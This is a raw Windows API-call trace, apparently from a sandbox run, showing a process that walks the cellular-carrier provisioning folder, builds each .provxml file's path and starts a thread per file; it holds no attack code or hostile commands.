_Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.625] wcscat (in: _Dest=0x3045810, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.625] wcscat (in: _Dest=0x3045810, _Source="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" [0179.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0179.626] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", cAlternateFileName="355__C~1.PRO")) returned 1 [0179.626] wcscmp (_String1="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.626] wcscmp (_String1="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.626] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x30447f0 [0179.626] wcscpy (in: _Dest=0x30447f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.626] wcscat (in: _Dest=0x30447f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.626] wcscat (in: _Dest=0x30447f0, _Source="355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" [0179.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30447f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0179.626] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="356__C~1.PRO")) returned 1 [0179.627] wcscmp (_String1="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.627] wcscmp (_String1="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054aa0 [0179.627] wcscpy (in: _Dest=0x3054aa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.627] wcscat (in: _Dest=0x3054aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.627] wcscat (in: _Dest=0x3054aa0, _Source="356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0179.627] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="357_CO~1.PRO")) returned 1 [0179.627] wcscmp (_String1="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.627] wcscmp (_String1="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2fa5800 [0179.628] wcscpy (in: _Dest=0x2fa5800, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.628] wcscat (in: _Dest=0x2fa5800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.628] wcscat (in: _Dest=0x2fa5800, _Source="357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" [0179.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0179.628] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", cAlternateFileName="358_CO~1.PRO")) returned 1 [0179.628] wcscmp (_String1="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.628] wcscmp (_String1="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2fa5ea0 [0179.628] wcscpy (in: _Dest=0x2fa5ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.628] wcscat (in: _Dest=0x2fa5ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.628] wcscat (in: _Dest=0x2fa5ea0, _Source="358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" [0179.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0179.629] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="359__C~1.PRO")) returned 1 [0179.629] wcscmp (_String1="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.629] wcscmp (_String1="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa30d0 [0179.629] wcscpy (in: _Dest=0x2fa30d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.629] wcscat (in: _Dest=0x2fa30d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.629] wcscat (in: _Dest=0x2fa30d0, _Source="359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" [0179.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa30d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0179.630] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="35__CO~1.PRO")) returned 1 [0179.630] wcscmp (_String1="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.630] wcscmp (_String1="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3044d50 [0179.630] wcscpy (in: _Dest=0x3044d50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.630] wcscat (in: _Dest=0x3044d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.630] wcscat (in: _Dest=0x3044d50, _Source="35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" [0179.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0179.631] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d28fbc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d28fbc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d28fbc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="360__C~1.PRO")) returned 1 [0179.631] wcscmp (_String1="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.631] wcscmp (_String1="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2fa2b30 [0179.631] wcscpy (in: _Dest=0x2fa2b30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.631] wcscat (in: _Dest=0x2fa2b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.631] wcscat (in: _Dest=0x2fa2b30, _Source="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" [0179.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0179.632] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="361__C~1.PRO")) returned 1 [0179.632] wcscmp (_String1="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.632] wcscmp (_String1="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa2158 [0179.632] wcscpy (in: _Dest=0x2fa2158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.632] wcscat (in: _Dest=0x2fa2158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.632] wcscat (in: _Dest=0x2fa2158, _Source="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" [0179.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0179.633] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="362__C~1.PRO")) returned 1 [0179.633] wcscmp (_String1="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.633] wcscmp (_String1="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30546f8 [0179.633] wcscpy (in: _Dest=0x30546f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.633] wcscat (in: _Dest=0x30546f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.633] wcscat (in: _Dest=0x30546f8, _Source="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30546f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0179.633] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="363__C~1.PRO")) returned 1 [0180.150] wcscmp (_String1="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.150] wcscmp (_String1="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.150] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2c98 [0180.150] wcscpy (in: _Dest=0x2fa2c98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.150] wcscat (in: _Dest=0x2fa2c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.150] wcscat (in: _Dest=0x2fa2c98, _Source="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0180.219] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, 